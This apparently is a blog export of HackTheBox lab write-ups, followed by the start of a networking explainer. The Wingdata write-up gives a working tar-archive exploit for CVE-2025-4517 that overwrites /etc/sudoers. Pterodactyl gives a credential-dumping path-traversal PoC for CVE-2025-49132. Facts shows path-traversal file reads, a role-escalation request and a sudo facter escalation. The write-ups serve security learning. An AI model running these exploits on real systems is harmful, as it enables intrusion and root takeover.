tarfile.extractall() function with the filter=\u0026ldquo;data\u0026rdquo; argument. While this filter was introduced in Python 3.12 to prevent classic Path Traversal (TarSlip) attacks, it is vulnerable to CVE-2025-4517.\nThis vulnerability allows an attacker to bypass the \u0026ldquo;secure\u0026rdquo; filter by creating a tar archive with a specific chain of symlinks and directory structures that exceed the system\u0026rsquo;s PATH_MAX. When the path becomes too long, Python\u0026rsquo;s realpath normalization fails, allowing files to be written outside of the intended STAGING_BASE directory.\nBecause the script is executed via sudo, we can use this arbitrary file write to overwrite sensitive system files as root.\nYou can view this Github security advisory\npythonimport tarfile import os import io comp = \u0026#39;d\u0026#39; * 247 steps = \u0026#34;abcdefghijklmnop\u0026#34; path = \u0026#34;\u0026#34; with tarfile.open(\u0026#34;backup_9999.tar\u0026#34;, mode=\u0026#34;w\u0026#34;) as tar: # Build the path overflow chain for i in steps: a = tarfile.TarInfo(os.path.join(path, comp)) a.type = tarfile.DIRTYPE tar.addfile(a) b = tarfile.TarInfo(os.path.join(path, i)) b.type = tarfile.SYMTYPE b.linkname = comp tar.addfile(b) path = os.path.join(path, comp) # Create the link that exceeds PATH_MAX linkpath = os.path.join(\u0026#34;/\u0026#34;.join(steps), \u0026#34;l\u0026#34;*254) l = tarfile.TarInfo(linkpath) l.type = tarfile.SYMTYPE l.linkname = \u0026#34;../\u0026#34; * len(steps) tar.addfile(l) # Target /etc via the overflow escape e = tarfile.TarInfo(\u0026#34;escape\u0026#34;) e.type = tarfile.SYMTYPE e.linkname = linkpath + \u0026#34;/../../../../../../../etc\u0026#34; tar.addfile(e) # Create a hardlink to sudoers and provide new content f = tarfile.TarInfo(\u0026#34;sudoers_link\u0026#34;) f.type = tarfile.LNKTYPE f.linkname = \u0026#34;escape/sudoers\u0026#34; tar.addfile(f) content = b\u0026#34;wacky ALL=(ALL) NOPASSWD: ALL\\n\u0026#34; c = tarfile.TarInfo(\u0026#34;sudoers_link\u0026#34;) c.type = tarfile.REGTYPE c.size = len(content) tar.addfile(c, fileobj=io.BytesIO(content)) We create the tarball and move it to the required backup directory and trigger the restoration script:\nbash# Move the exploit to the expected directory cp backup_9999.tar /opt/backup_clients/backups/ # Run the script via the permitted sudo path sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil Now that /etc/sudoers overwritten, we now have unrestricted sudo access.\nbashwacky@wingdata:~$ sudo -l User wacky may run the following commands on wingdata: (ALL) NOPASSWD: ALL wacky@wingdata:~$ sudo su - -c \u0026#34;cat /root/root.txt\u0026#34; \u0026lt;SNIP\u0026gt; Success Rooted. GG to the author, the machine is pretty straight forward with minimal but targetted enumeration.\n","date":"15 February 2026","externalUrl":null,"permalink":"/writeups/htb-wingdata/","section":"Writeups","summary":"Easy-rated HackTheBox Linux Lab.","title":"HackTheBox Wingdata","type":"writeups"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/hash-cracking/","section":"Tags","summary":"","title":"Hash-Cracking","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/lateral-movement/","section":"Tags","summary":"","title":"Lateral-Movement","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/ssh/","section":"Tags","summary":"","title":"Ssh","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/sudo-misconfiguration/","section":"Tags","summary":"","title":"Sudo-Misconfiguration","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/tar-slip/","section":"Tags","summary":"","title":"Tar-Slip","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/wing-ftp-server/","section":"Tags","summary":"","title":"Wing-Ftp-Server","type":"tags"},{"content":"","date":"11 February 2026","externalUrl":null,"permalink":"/tags/config-disclosure/","section":"Tags","summary":"","title":"Config-Disclosure","type":"tags"},{"content":"","date":"11 February 2026","externalUrl":null,"permalink":"/tags/cve-2025-49132/","section":"Tags","summary":"","title":"Cve-2025-49132","type":"tags"},{"content":" Kill Chain # TL;DR The machine was centered around abusing a vulnerable game panel instance and chaining misconfigurations to full compromise. Straightforward once the CVE was identified.\nVirtual host enumeration revealed a Pterodactyl Panel instance. Exploited CVE-2025-49132 to achieve arbitrary file read via LFI. Retrieved database credentials from exposed configuration files. Leveraged PEAR abuse through the LFI to escalate to RCE. Gained shell access and performed standard Linux enumeration. Reused discovered credentials for further access and privilege escalation to root. Enumeration # bash$target=10.129.14.24 $echo \u0026#34;$target pterodactyl.htb\u0026#34; | sudo tee -a /etc/hosts Nmap # bash$nmap -sV -sC -vv -Pn -T4 -oN pterodactyl_default $target PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6 (protocol 2.0) | ssh-hostkey: | 256 a3741ea3ad02140100e6abb4188416e0 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc= | 256 65c833177ad6523d63c3e4a960642dcc (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9 80/tcp open http syn-ack ttl 63 nginx 1.21.5 |_http-server-header: nginx/1.21.5 |_http-title: My Minecraft Server | http-methods: |_ Supported Methods: GET HEAD POST 443/tcp closed https reset ttl 63 8080/tcp closed http-proxy reset ttl 63 Background Jobs Running a full ports scan didn\u0026rsquo;t expose any open ports. Running a UDP scan didn\u0026rsquo;t lead to anything either.\nSo we move on. And here is the landing page:\nFfuf # Background Jobs Fuzzing for directories didn\u0026rsquo;t lead to nothing.\nWe move on.\nVHosts # bash$ffuf -c -w `fzf-wordlists`:FUZZ -u \u0026#34;http://pterodactyl.htb/\u0026#34; -H \u0026#34;Host: FUZZ.pterodactyl.htb\u0026#34; -fs 145 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0 ________________________________________________ :: Method : GET :: URL : http://pterodactyl.htb/ :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-20000.txt :: Header : Host: FUZZ.pterodactyl.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 145 ________________________________________________ panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 325ms] Which shows:\nAnd we can find a version number [Installed] Pterodactyl Panel v1.11.10 at pterodactyl.htb/changelog.txt\nFor that we can find CVE-2025-49132.\nAnd here is a poc:\npythonimport requests import json import argparse import colorama import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) arg_parser = argparse.ArgumentParser( description=\u0026#34;Check if the target is vulnerable to CVE-2025-49132.\u0026#34;) arg_parser.add_argument(\u0026#34;target\u0026#34;, help=\u0026#34;The target URL\u0026#34;) args = arg_parser.parse_args() try: target = args.target.strip() + \u0026#39;/\u0026#39; if not args.target.strip().endswith(\u0026#39;/\u0026#39;) else args.target.strip() r = requests.get(f\u0026#34;{target}locales/locale.json?locale=../../../pterodactyl\u0026amp;namespace=config/database\u0026#34;, allow_redirects=True, timeout=5, verify=False) if r.status_code == 200 and \u0026#34;pterodactyl\u0026#34; in r.text.lower(): try: raw_data = r.json() data = { \u0026#34;success\u0026#34;: True, \u0026#34;host\u0026#34;: raw_data[\u0026#34;../../../pterodactyl\u0026#34;][\u0026#34;config/database\u0026#34;][\u0026#34;connections\u0026#34;][\u0026#34;mysql\u0026#34;].get(\u0026#34;host\u0026#34;, \u0026#34;N/A\u0026#34;), \u0026#34;port\u0026#34;: raw_data[\u0026#34;../../../pterodactyl\u0026#34;][\u0026#34;config/database\u0026#34;][\u0026#34;connections\u0026#34;][\u0026#34;mysql\u0026#34;].get(\u0026#34;port\u0026#34;, \u0026#34;N/A\u0026#34;), \u0026#34;database\u0026#34;: raw_data[\u0026#34;../../../pterodactyl\u0026#34;][\u0026#34;config/database\u0026#34;][\u0026#34;connections\u0026#34;][\u0026#34;mysql\u0026#34;].get(\u0026#34;database\u0026#34;, \u0026#34;N/A\u0026#34;), \u0026#34;username\u0026#34;: raw_data[\u0026#34;../../../pterodactyl\u0026#34;][\u0026#34;config/database\u0026#34;][\u0026#34;connections\u0026#34;][\u0026#34;mysql\u0026#34;].get(\u0026#34;username\u0026#34;, \u0026#34;N/A\u0026#34;), \u0026#34;password\u0026#34;: raw_data[\u0026#34;../../../pterodactyl\u0026#34;][\u0026#34;config/database\u0026#34;][\u0026#34;connections\u0026#34;][\u0026#34;mysql\u0026#34;].get(\u0026#34;password\u0026#34;, \u0026#34;N/A\u0026#34;) } print(f\u0026#34;{colorama.Fore.LIGHTGREEN_EX}{target} =\u0026gt; {data[\u0026#39;username\u0026#39;]}:{data[\u0026#39;password\u0026#39;]}@{data[\u0026#39;host\u0026#39;]}:{data[\u0026#39;port\u0026#39;]}/{data[\u0026#39;database\u0026#39;]}{colorama.Fore.RESET}\u0026#34;) except json.JSONDecodeError: print(colorama.Fore.RED + \u0026#34;Not vulnerable\u0026#34; + colorama.Fore.RESET) except TypeError: print(colorama.Fore.YELLOW + \u0026#34;Vulnerable but no database\u0026#34; + colorama.Fore.RESET) else: print(colorama.Fore.RED + \u0026#34;Not vulnerable\u0026#34; + colorama.Fore.RESET) except requests.RequestException as e: if \u0026#34;NameResolutionError\u0026#34; in str(e): print(colorama.Fore.RED + \u0026#34;Invalid target or unable to resolve domain\u0026#34; + colorama.Fore.RESET) else: print(f\u0026#34;{colorama.Fore.RED}Request error: {e}{colorama.Fore.RESET}\u0026#34;) Or its equivalent curl one-liner:\nbash$curl -sk \u0026#34;http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl\u0026amp;namespace=config/database\u0026#34; | jq . { \u0026#34;../../../pterodactyl\u0026#34;: { \u0026#34;config/database\u0026#34;: { \u0026#34;default\u0026#34;: \u0026#34;mysql\u0026#34;, \u0026#34;connections\u0026#34;: { \u0026#34;mysql\u0026#34;: { \u0026#34;driver\u0026#34;: \u0026#34;mysql\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;127.0.0.1\u0026#34;, \u0026#34;port\u0026#34;: \u0026#34;3306\u0026#34;, \u0026#34;database\u0026#34;: \u0026#34;panel\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;pterodactyl\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;PteraPanel\u0026#34;, \u0026#34;unix_socket\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;charset\u0026#34;: \u0026#34;utf8mb4\u0026#34;, \u0026#34;collation\u0026#34;: \u0026#34;utf8mb4_unicode_ci\u0026#34;, \u0026#34;prefix\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;prefix_indexes\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;strict\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;timezone\u0026#34;: \u0026#34;+00{{00}}\u0026#34;, \u0026#34;sslmode\u0026#34;: \u0026#34;prefer\u0026#34;, \u0026#34;options\u0026#34;: { \u0026#34;1014\u0026#34;: \u0026#34;1\u0026#34; } } }, \u0026#34;migrations\u0026#34;: \u0026#34;migrations\u0026#34;, \u0026#34;redis\u0026#34;: { \u0026#34;client\u0026#34;: \u0026#34;predis\u0026#34;, \u0026#34;options\u0026#34;: { \u0026#34;cluster\u0026#34;: \u0026#34;redis\u0026#34;, \u0026#34;prefix\u0026#34;: \u0026#34;pterodactyl_database_\u0026#34; }, \u0026#34;default\u0026#34;: { \u0026#34;scheme\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/run/redis/redis.sock\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;127.0.0.1\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;port\u0026#34;: \u0026#34;6379\u0026#34;, \u0026#34;database\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;context\u0026#34;: [] }, \u0026#34;sessions\u0026#34;: { \u0026#34;scheme\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/run/redis/redis.sock\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;127.0.0.1\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;port\u0026#34;: \u0026#34;6379\u0026#34;, \u0026#34;database\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;context\u0026#34;: [] } } } } } The db creds weren\u0026rsquo;t useful for us at this stage, so let\u0026rsquo;s try to exploit the vulnerability to get other useful information.\nThe point now is to get RCE through that LFi using the PEAR php utility. This could be done using:\n","date":"11 February 2026","externalUrl":null,"permalink":"/writeups/htb-pterodactyl/","section":"Writeups","summary":"Medium-rated HackTheBox Linux Lab","title":"HackTheBox Pterodactyl","type":"writeups"},{"content":"","date":"11 February 2026","externalUrl":null,"permalink":"/tags/lfi/","section":"Tags","summary":"","title":"Lfi","type":"tags"},{"content":"","date":"11 February 2026","externalUrl":null,"permalink":"/tags/nginx/","section":"Tags","summary":"","title":"Nginx","type":"tags"},{"content":"","date":"11 February 2026","externalUrl":null,"permalink":"/tags/path-traversal/","section":"Tags","summary":"","title":"Path-Traversal","type":"tags"},{"content":"","date":"11 February 2026","externalUrl":null,"permalink":"/tags/pterodactyl-panel/","section":"Tags","summary":"","title":"Pterodactyl-Panel","type":"tags"},{"content":"","date":"31 January 2026","externalUrl":null,"permalink":"/tags/camaleon-cms/","section":"Tags","summary":"","title":"Camaleon-Cms","type":"tags"},{"content":"","date":"31 January 2026","externalUrl":null,"permalink":"/tags/cve-2024-183/","section":"Tags","summary":"","title":"Cve-2024-183","type":"tags"},{"content":" Kill Chain # Kill Chain The machine was fun, didn\u0026rsquo;t have anything that didnt make sense but pretty straightforward after the foothold.\nExposed SMB shares via NULL session to obtain a .NET project. Clear text credentials of a sqlsvc MSSQL service account. A hidden MSSQL server on an unusual port (lost me too much time). A linked server that we can intercept a NTLMv2 hash (lead to nothing). Misconfiguration that lead to DNS configuration manipulation to intercept clear text credentials of another service account. Error-based Command Injection in a WCF service that accepted unvalidated input to the KillProcess method was exploited to get high-privileged PowerShell Stop-Process call. Enumeration # Nmap # bash$nmap -sV -sC -vv -Pn -oN -T4 facts_nmap_default $target PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4dd7b28cd4df579ca42fdfc6e3012989 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww= | 256 a3ad6b2f4abf6f48ac81b9453fdefb87 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK 80/tcp open http syn-ack ttl 63 nginx 1.26.3 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://facts.htb/ |_http-server-header: nginx/1.26.3 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 20:09 Completed NSE at 20:09, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 20:09 Completed NSE at 20:09, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 20:09 Completed NSE at 20:09, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.42 seconds Raw packets sent: 1114 (49.016KB) | Rcvd: 1208 (48.328KB) bashecho \u0026#34;$target facts.htb\u0026#34; | sudo tee -a /etc/hosts Basic Web Enumeration # whatweb # bash$ whatweb $target http://10.129.18.240 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.26.3 (Ubuntu)], IP[10.129.18.240], RedirectLocation[http://facts.htb/], Title[302 Found], nginx[1.26.3] http://facts.htb/ [200 OK] Cookies[_factsapp_session], Country[RESERVED][ZZ], Email[contact@facts.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.26.3 (Ubuntu)], HttpOnly[_factsapp_session], IP[10.129.18.240], Open-Graph-Protocol[website], Script, Title[facts], UncommonHeaders[x-content-type-options,x-permitted-cross-domain-policies,referrer-policy,plugin_front_cache,link,x-request-id], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], X-XSS-Protection[0], nginx[1.26.3] Headers # bash$ curl -I http://facts.htb HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sat, 31 Jan 2026 19:11:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive x-frame-options: SAMEORIGIN x-xss-protection: 0 x-content-type-options: nosniff x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin link: \u0026lt;/assets/themes/camaleon_first/assets/css/main-41052d2acf5add707cadf8d1c12a89a9daca83fb8178fdd5c9105dc6c566d25d.css\u0026gt;; rel=preload; as=style; nopush,\u0026lt;/assets/themes/camaleon_first/assets/js/main-2d9adb006939c9873a62dff797c5fc28dff961487a2bb550824c5bc6b8dbb881.js\u0026gt;; rel=preload; as=script; nopush vary: Accept etag: W/\u0026#34;cf58f36cce0726e93d7b8679367a701f\u0026#34; cache-control: max-age=0, private, must-revalidate set-cookie: _factsapp_session=SDOny5bzB%2BDV9dlPD1xuuVWhI09pmOC6cZnzO%2B8ToiQJSdNEN30IaWifZgWLQzia6Atfa26bvsKYyiruL9raMlvB65XkFCzUUS%2BFCPoxWmVs8cBDUIYTEP3h1%2FdAffS53WFujXWJUOnxEpGLYPqEjLMkzJ8118fHGGwpIN%2FghFlEJu796IFWBAokOuBS5D7J7VCdeGCph6Cpf1Gh2UV8ropS9t1k8SZr4%2Fi%2BOA3buuWA%2Fo1qLkpefVQL%2FS2bgoruWYtTbebJQvfGvOGoRDZz1fcn%2F5B%2B8SNMKw%3D%3D--ARjRBGCz4MOGoqyi--lN1wXEBBqWUe2IVe98%2B3nA%3D%3D; path=/; httponly; samesite=lax x-request-id: ce29af96-593f-448f-86b4-d11f16fcaee5 x-runtime: 0.040646 Ffuf # bashffuf -w /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-small.txt:FUZZ -u http://facts.htb/FUZZ -ic -c -v bash[Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 1030ms] | URL | http://facts.htb/search * FUZZ: search [Status: 200, Size: 11113, Words: 1328, Lines: 125, Duration: 1110ms] | URL | http://facts.htb/index * FUZZ: index [Status: 200, Size: 11098, Words: 1328, Lines: 125, Duration: 1659ms] | URL | http://facts.htb/ * FUZZ: [Status: 200, Size: 3508, Words: 424, Lines: 130, Duration: 1796ms] | URL | http://facts.htb/sitemap * FUZZ: sitemap [Status: 200, Size: 183, Words: 20, Lines: 9, Duration: 2019ms] | URL | http://facts.htb/rss * FUZZ: rss [Status: 200, Size: 11109, Words: 1328, Lines: 125, Duration: 1718ms] | URL | http://facts.htb/en * FUZZ: en [Status: 200, Size: 19593, Words: 3296, Lines: 282, Duration: 1989ms] | URL | http://facts.htb/page * FUZZ: page [Status: 200, Size: 11966, Words: 1481, Lines: 130, Duration: 1531ms] | URL | http://facts.htb/welcome * FUZZ: welcome [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1513ms] | URL | http://facts.htb/admin | --\u0026gt; | http://facts.htb/admin/login * FUZZ: admin [Status: 200, Size: 11308, Words: 1414, Lines: 152, Duration: 1611ms] | URL | http://facts.htb/post * FUZZ: post [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2154ms] | URL | http://facts.htb/ajax * FUZZ: ajax [Status: 200, Size: 73, Words: 4, Lines: 1, Duration: 1350ms] | URL | http://facts.htb/up * FUZZ: up [Status: 200, Size: 11098, Words: 1328, Lines: 125, Duration: 1784ms] | URL | http://facts.htb/- * FUZZ: - [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 1622ms] | URL | http://facts.htb/404 * FUZZ: 404 [Status: 200, Size: 33, Words: 2, Lines: 1, Duration: 1942ms] | URL | http://facts.htb/robots * FUZZ: robots More\nThe output shows even more stuff but only /admin/login and sitemap really matttered.\nNote that robots.txt redirected us to sitemap.\nVhost fuzzing\nFuzzing for vhosts didn\u0026rsquo;t lead to anything.\nPoking Around The Web App # Here is /admin/login\nSo we create an account and login to a simple user dashboard that reveals a vulnerable CMS version.\nWe\u0026rsquo;re not admins yet. Before that, we can tell we\u0026rsquo;re not admins by trying to edit an image in a post: Which results in a failure.\nVulnerable CMS version # A bit of google search shows multiple vulnerabilities in this version. One of which stands out.\nChecking GHSL-2024-183\nSo simply querying this: http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd\nGets us the target\u0026rsquo;s /etc/passwd:\nbash$ cat passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:102:102::/nonexistent:/usr/sbin/nologin systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin pollinate:x:103:1::/var/cache/pollinate:/bin/false polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin syslog:x:104:104::/nonexistent:/usr/sbin/nologin uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash william:x:1001:1001::/home/william:/bin/bash _laurel:x:101:988::/var/log/laurel:/bin/false And so we have trivia and william users.\nUser Flag # We can now simply look for the user.txt within each user\u0026rsquo;s home directory and we get william\u0026rsquo;s flag.\nSuccess User Flag Owned.\nPrivilege Escalation # Now that we have Path Traversal that leads to LFI, we can aim to read some other files.\nHere is what I got my hands into:\nfile=../../../../../../home/trivia/.ssh/authorized_keys file=../../../../../../home/trivia/.ssh/id_ed25519 file=../../../../../../etc/hosts file=../../../../../../etc/nginx/sites-enabled/default file=../../../../../../proc/self/cmdline And here is the content of /etc/nginx/sites-enabled/default:\nbash$ cat default server { listen 80 default_server; listen [::]:80 default_server; if ($host != facts.htb) { rewrite ^ http://facts.htb/; } root /var/www/html; server_name _; location / { try_files $uri $uri/ =404; } } Failure So now, we\u0026rsquo;ve got nothing more. I wasted too much time trying to get a valid and valuable file, which was random and didn\u0026rsquo;t lead to anything.\nWhat To Do Remember This GH Repo? Let\u0026rsquo;s look at This vulnerability.\nHere is what is says: We can exploit this to elevate our user account to an admin account.\nSimply: Ask for a password change via http://facts.htb/admin/profile/edit Change the request and append \u0026amp;password%5Brole%5D=admin as follows: So refreshing our page gives as admin privileges from which we can retrieve very important info through http://facts.htb/admin/settings/site\nFailure I failed in here, miserably. I thought there was something about the AWS keys, but there wasn\u0026rsquo;t any. So, a rabbit hole maybe?\n[success] Remember the trivia\u0026rsquo;s ssh key? well that was that. A simple ssh2john using rockyou.txt.\n[tip] What could\u0026rsquo;ve made this a bit harder.\nThe crack could\u0026rsquo;ve been a bit harder if we leaked more usernames and a password policy. So we create a wordlist with that combo and move on.\nTrivia\u0026rsquo;s Shell # Now for the root flag, everything is straight forward. A simple sudo -l shows excessive permissions on the /usr/bin/facter, which could exploited to act in the context of a higher-privileged user.\nRoot Flag: GTFO Bins # You can find the binary\u0026rsquo;s vulnerability in here.\nbashmkdir /tmp/facts \u0026amp;\u0026amp; cd /tmp/facts echo \u0026#39;puts File.read(\u0026#34;/root/root.txt\u0026#34;)\u0026#39; \u0026gt; read_flag.rb sudo /usr/bin/facter --custom-dir=/tmp/facts x Rooted! GG to the author. This was a fun machine. I\u0026rsquo;ll reach out for a potential uninteded attack vector, something feels odd about the AWS keys. But, we\u0026rsquo;ll see.\n","date":"31 January 2026","externalUrl":null,"permalink":"/writeups/htb-facts/","section":"Writeups","summary":"Easy-rated HackTheBox Linux Lab","title":"HackTheBox - Facts","type":"writeups"},{"content":"","date":"31 January 2026","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"28 January 2026","externalUrl":null,"permalink":"/tags/cgroups/","section":"Tags","summary":"","title":"Cgroups","type":"tags"},{"content":"","date":"28 January 2026","externalUrl":null,"permalink":"/tags/containers/","section":"Tags","summary":"","title":"Containers","type":"tags"},{"content":"","date":"28 January 2026","externalUrl":null,"permalink":"/series/docker-containers/","section":"Series","summary":"","title":"Docker Containers","type":"series"},{"content":"","date":"28 January 2026","externalUrl":null,"permalink":"/tags/namespaces/","section":"Tags","summary":"","title":"Namespaces","type":"tags"},{"content":"","date":"28 January 2026","externalUrl":null,"permalink":"/tags/oci/","section":"Tags","summary":"","title":"Oci","type":"tags"},{"content":"","date":"28 January 2026","externalUrl":null,"permalink":"/tags/processes/","section":"Tags","summary":"","title":"Processes","type":"tags"},{"content":" Overview # As the name suggests, this is how I think I (probably) understood what is the difference between a network Switch and a network Bridge.\nThe question arised when across a whole semester of \u0026ldquo;studying\u0026rdquo; networking at school, we never mentionned a network bridge but rather focus on routers on L3 and switches on L2 which made me think why? Are bridges now considered legacy systems? Are they the same thing? What the fuck is a bridge anyways? And what the fuck is a switch for that matter?\nAs a conclusion for the whole thing, I think the Friederich Nietzsche quote perfectly fits in the story.\nIf you don\u0026rsquo;t know who Friederich Nietzsche is, you still haven\u0026rsquo;t had your first existential philosophical crisis. which is a much bigger problem than not knowing the difference between a switch and a bridge.\nGet Out! Glossary # Some terms will show up often. Although we\u0026rsquo;re not using to it as non-networking engineers, we can pick it up quickly.\nNetwork Link: A network link is a physical and logical communication medium that interconnects multiple network nodes using the same link-layer protocol. All nodes on a network link can communicate directly at the data link layer without passing through a router.\nNetwork Segment: Not a one-for-all definition, but we can say it\u0026rsquo;s a portion of our network.\nL1 Segment: A network segment formed by two or more connected devices on the physical layer by an electrical/optical medium.\nL2 Segment: Multiple L1 segments connected via a shared switch/bridge. This is the base of more advanced implementations of L2 segments to form VLANs and VXLANs. Communication between nodes can be done via Broadcasting or Unicasting using the their MAC Addresses.\nL3 Segment: Multiple L2 segments connected via a router.\nBroadcast Domain:\nCollision Domain: Simply, it\u0026rsquo;s a network segment where simultaneous data transmissions collide with one another. Their borders were defined by bridges(we\u0026rsquo;ll see the difference between switches and bridges)\nA bit of L1: Physical Layer # Collision Domains # A collision is the possibility that transmitted signals on the same hub collide with each other. Back in the day since nodes were connected to the same Hub and only one device can transmit at a time, the problem used to happen a lot.\nSo a collision domain is the set of devices that tend to have collision happening.\nA bit of L2: Data-Link Layer # L2 segments are a collection of L1 segments interconnected with a shared switch/bridge.\nWe can connect multiple switches together to create a bigger L2 segment. This \u0026ldquo;architecture\u0026rdquo; can be looked at as an upper-layer switch that connects the first L2 segment to the other.\nCommunication within L2 segment # If we assume L1 is about physical connectivity between nodes, L2 represents the logical equivalent.\nCommunication in this layer is done via:\nThe source/destination MAC addresses. Broadcasting using ff:ff:ff:ff:ff:ff to the whole segment. L2 Ethernet Frame Structure # Broadcast Domains: One for All # The collection of nodes that reach each other using L2 Broadcast address ff:ff:ff:ff:ff:ff. Although this is a caracteristic of L2, it is (of course) used by higher levels.\nBroadcast domains are limited by routers NOT SWITCHES. So in a network 